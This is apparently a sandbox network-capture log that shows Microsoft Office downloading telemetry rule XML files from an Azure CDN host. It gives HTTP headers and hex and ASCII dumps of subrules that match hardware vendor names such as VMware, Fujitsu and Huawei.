2024-12-06 14:52:39 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:38 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: b5189c33-801e-008c-34cb-457130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145238Z-1746fd949bdl6zq5hC1EWRf3ws00000003xg00000000q6un x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:39 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:39 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:39 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:39 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: de914170-201e-0000-68ad-45a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145239Z-1746fd949bd2cq7chC1EWRnx9g000000042g000000004633 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:39 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:39 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:39 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:39 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 28e7cf79-c01e-000b-7856-47e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145239Z-1746fd949bd9rf4qhC1EWRgypw00000000xg00000000gde6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:39 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:39 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:39 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:39 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 9b0204ab-501e-0047-62c1-45ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145239Z-1746fd949bd77mkmhC1EWR5efc00000004q000000000621q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:39 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:39 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:39 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:39 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 28426bd4-401e-0047-368d-468597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145239Z-1746fd949bdfg4slhC1EWR34t0000000047000000000f88v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:39 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:40 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:41 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 1b86d58a-f01e-0071-54ce-45431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145241Z-1746fd949bd7wvgbhC1EWR0rgs000000049000000000pyhe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:41 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:41 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:41 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: dbf7ebc2-101e-00a2-0ac7-459f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145241Z-1746fd949bdlqd7fhC1EWR6vt000000004cg00000000pbsf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:41 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:41 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:41 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:41 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1e40fce6-401e-0078-1bd2-454d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145241Z-1746fd949bdtlp5chC1EWRq1v400000004c0000000005mfs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:41 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:41 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:41 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:41 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c29bf332-501e-00a0-0ccb-459d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145241Z-1746fd949bdmv56chC1EWRypnn00000004mg000000001eu9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:41 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:41 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:41 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:41 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 76d3483c-401e-00a3-2bcc-458b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145241Z-1746fd949bdhk6hphC1EWRaw3c000000042000000000hbb6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:41 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:43 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:43 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:43 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 167d53f1-601e-0084-47cc-456b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145243Z-1746fd949bdkw94lhC1EWRxuz400000004dg00000000q0sq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:43 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:43 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:44 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:43 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: e4103400-101e-008e-08d4-45cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145243Z-1746fd949bdb8xvchC1EWRmbd400000004c0000000004nf4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:44 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
